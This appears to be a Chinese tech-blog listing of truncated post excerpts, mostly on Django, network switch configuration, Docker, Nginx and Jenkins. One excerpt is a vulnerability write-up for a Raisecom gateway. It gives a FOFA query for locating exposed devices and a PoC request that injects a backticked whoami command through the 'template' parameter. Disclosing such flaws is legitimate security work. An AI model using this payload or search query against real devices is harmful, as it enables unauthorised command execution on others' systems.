- 2024-11-12《Django 5 By Example》阅读笔记:p17-p53
《Django5ByExample》学习第2天,p17-p53总结,总计37页。一、技术总结1.数据库迁移pythonmanage.pymakemigrationsblogpythonmanage.pysqlmigrateblog0001pythonmanage.pymigrate2.ORMDjango自带ORM。3.view(1)定义p42,ADjangoviewisjustaPythonfuncti
- 2024-10-29Django设计ORM模型步骤
一、定义模型类1、创建应用:首先,在Django项目中创建一个应用,这是为了组织和管理与特定功能相关的模型、视图和模板等。可以使用pythonmanage.pystartappmyapp命令来创建应用,其中myapp是应用的名称。2、定义模型:在应用的models.py文件中定义模型类。每个模型类都继承自djang
- 2024-10-12H3C交换机SSH使用RSA公钥免密登录配置
1.使用puttygen.exe计算RSA 2.保存公钥和私钥公钥:pub.key 注意:公钥上传到交换机(FTP等方式)。私钥:private.ppk3.配置交换机<Switch>system-view[Switch]public-keylocalcreatersaTherangeofpublickeysizeis(512~2048).Ifthekeymodulusisgreatert
- 2024-09-25华三防火墙对象组-策略
1.1 对象策略简介对象策略基于全局进行配置,基于安全域间实例进行应用。在安全域间实例上应用对象策略可实现对报文流的检查,并根据检查结果允许或拒绝其通过。对象策略通过配置对象策略规则实现。有关安全域间实例的详细介绍和配置,请参见“安全配置指导”中的“安全域”。1.1.1
- 2024-09-24Docker-Swarm介绍及基础使用
Docker-Swarm参考:Swarmmode|Docker从入门到实践Docker1.12Swarmmode(opensnewwindow)已经内嵌入Docker引擎,成为了docker子命令dockerswarm。请注意与旧的DockerSwarm区分开来。Swarmmode内置kv存储功能,提供了众多的新特性,比如:具有容错能力的去中
- 2024-09-19DMOJ我的三周目经验贴
试了三遍,终于挂载成功了DMOJ,随笔记录Ubuntu20.04、Ubuntu20.04【WSL】适用官方提供的开发文档DMOJ官网GitHub地址1.环境配置aptupdate#大前置aptinstallgitgccg++makepython3-devpython3-piplibxml2-devlibxslt1-devzlib1g-devgettextcurlredis-server#n
- 2024-09-12某智能网关 list_service_manage存在命令执行漏洞
漏洞描述瑞斯康达多业务智能网关list_service_manage.php存在未授权命令注入漏洞,攻击者利用可获取服务器权限。资产信息FOFA:body="/images/raisecom/back.gif"漏洞复现pocPOST/vpn/list_service_manage.php?template=%60whoami%3E%2Fwww%2Ftmp%2F1.txt%60HTTP/1.1H
- 2024-08-16Nginx项目部署
Nginx部署Django项目(基于centos7)一、安装Python(源码编译安装)下载PythonPython下载网址将Python源代码上传到服务器#scp文件服务器用户名@服务器IP:拷贝的文件存放路径scpD:\下载\Python-3.8.19.tgzremote-centos:/opt安装Python#安装Python依
- 2024-08-15Django 数据库迁移:makemigrations 和 migrate 命令详解及常见问题解决
目录1.问题所示2.pythonmanage.pymakemigrations3.pythonmanage.pymigrate4.拓展1.问题所示最初始的状态是遇到这个问题由于刚开始跑pythonweb项目,开源项目附带的Readme,个别命令不太懂,对此详细研究其基本知识最终的解决方案如下:清理迁移文件:删除迁移目
- 2024-08-14django 基础指令
1、创建django项目#pip下载djangopipinstallDjango#查看下载的django库版本python-mdjango--version#创建一个名为HelloWorld的django项目django-adminstartprojectHelloWorld2、django项目添加一个app视图#进入项目目录cd.../HelloWorld#创建一个名
- 2024-08-13MySQL InnoDB Cluster – how to manage a split-brain situation
本文是翻译MySQLInnoDBCluster–howtomanageasplit-brainsituation[1]这篇文章,如有翻译不妥或不对的地方,敬请谅解与指正。请尊重原创和翻译劳动成果,转载的时候请注明出处。谢谢!每次我展示MySQLInnoDBCluster时,在创建集群的演示中,很多人都不明白为什么当我集群中已有2
- 2024-08-07Jenkins部署手册
一、概述Jenkins是一个持续集成环境,底层由Java开发,它的工作流程可以看作:1、从服务器拉下源代码到本地2、恢复相关程序包nuget3、MSBuild编译程序4、发布程序 二、安装在测试服务器212中依次安装SVN、JDK、VisualStudio、Jenkins,安装包如图: 配置环境变量、安装过
- 2024-08-04day2-admin管理后台
admin管理后台1.基于django初始化一个项目1.condaactivate虚拟名字#进入虚拟环境2.django-adminstartprojectblog#创建一个项目blog3.cdblog#进入blog项目文件夹中4.pythonmanage.pystartappapp的名字#创建一个app初始化数据库(django自带的sqlite)1.pythonma
- 2024-07-15Django 实践记录
环境说明:mac11.3.1Django3.2.25python免费版3.7前置-安装python、pycharm(略)创建项目、创建虚拟环境pycharm创建项目、并创建好虚拟环境进入虚拟环境,安装Djangopipinstalldjango创建Django项目进入项目,创建Django项目django-adminstartprojectmyproject.
- 2024-07-11使用 Django 框架进行开发的基本模板
一、安装Djangopipinstalldjango二、创建Django项目使用命令创建一个新的Django项目,将在当前目录下创建一个名为 myproject 的目录,其中包含初始的Django项目结构。django-adminstartprojectmyproject三、创建Django应用进入项目目录后,创建一个新的应
- 2024-07-03HUAWEI S5720-36C-EI-28S-AC交换机设置IP并开启SSH
HUAWEIS5720-36C-EI-28S-AC交换机设置IP并开启SSHConsole口连接Console口线连接电脑,用PuTTY或其它终端软件,设置终端参数。参数设置要求如下:波特率:9600数据位:8停止位:1奇偶校验:无流量控制:无查看信息displayinterfacebrief#显示所有接口的概要信息display
- 2024-06-20记录pyinstaller打包django项目遇到的坑
由于工作需要,需要在内网部署一个Django项目生成exe,打包过程遇到了不少坑,在此记录一下。一、安装pyinstaller略。二、打包exe第一个问题:用pyinstaller-F-w生成的exe报错一开始用的是以下命令生成exe:pyinstaller-F-wxx.py导出完毕后,在dist/manage/目录下输入manage.
- 2024-05-31Django 做migrations时出错,解决方案
在做migrations的时候,偶尔会出现出错。在已有数据的表中新增字段时,会弹出下面的信息运行这个命令时pythonmanage.pymakemigrationsTrackingfilebyfolderpattern:migrationsItisimpossibletoaddanon-nullablefield‘example’tobookwithoutspecify
- 2024-05-30PyCharm创建django项目
1.创建项目 2.查看版本python-mdjango--version 3.启动项目pythonmanage.pyrunserver 解决办法:找到seetings.py文件,然后在settings.py文件头加上:importos继续启动pythonmanage.pyrunserver 4.解决告警问题Ctrl+C停掉后执行pythonmanage.py
- 2024-05-29Django 里如何使用 sqlite (操作步骤)
下面是在VSCode里进行操作1.安装SQLite的Extension2.在models.py里做修改文件修改如下fromdjango.dbimportmodels#Createyourmodelshere.#类似这样创建一个classclassUserInfo(models.Model):username=models.CharField(verbose_name="
- 2024-05-23CubeMX离线安装stm32f1固件包
一.打开CubeMX软件点击Help选择Manageembededsoftwarepackages二、找到STM32F1版本最新的固件包,点击install 三、登录账号 四、等待下载完成五、下载完成
- 2024-05-20创建django项目目录介绍
项目层次:创建django项目自动生成的一些.py的目录文件命令运行检查是否创建成功访问http://127.0.0.1:8000/应用层次:创建应用:pythonmanage.pystartappblog项目管理文件manage.py,创建应用的命令startapp,应用名blog 应用目录介绍:
- 2024-05-13Python3开发一个web项目
准备工作#安装Web框架pipinstallDjango#创建一个项目pythondjango-admin.pystartprojectitstyle#切换目录cditstyle#创建Apppythonmanage.pystartappnovel一般一个项目有多个app,当然通用的app也可以在多个项目中使用,然后启动服务:#默认端口是800
- 2024-05-13Python3+Django2配置后台管理
前言使用Django我们只需要做一些配置,就可以实现简单的后台管理系统,下面我们以新闻系统为例子来搭建后台。创建项目切换到工作空间,执行以下命令:django-admin.pystartprojectitstyle#进入itstyle文件夹cditstyle#创建newsAppmanage.pystartappnews项目结构:
- 2024-04-23Django常用命令
安装django:pipinstalldjango安装依赖pipinstall-rrequirements.txt创建项目:django-adminstartprojectproject_name创建应用django-adminstartappapp_name运行端口:pythonmanage.pyrunserverpythonmanage.pyrunserver8080创建数据库命令python3.9manage.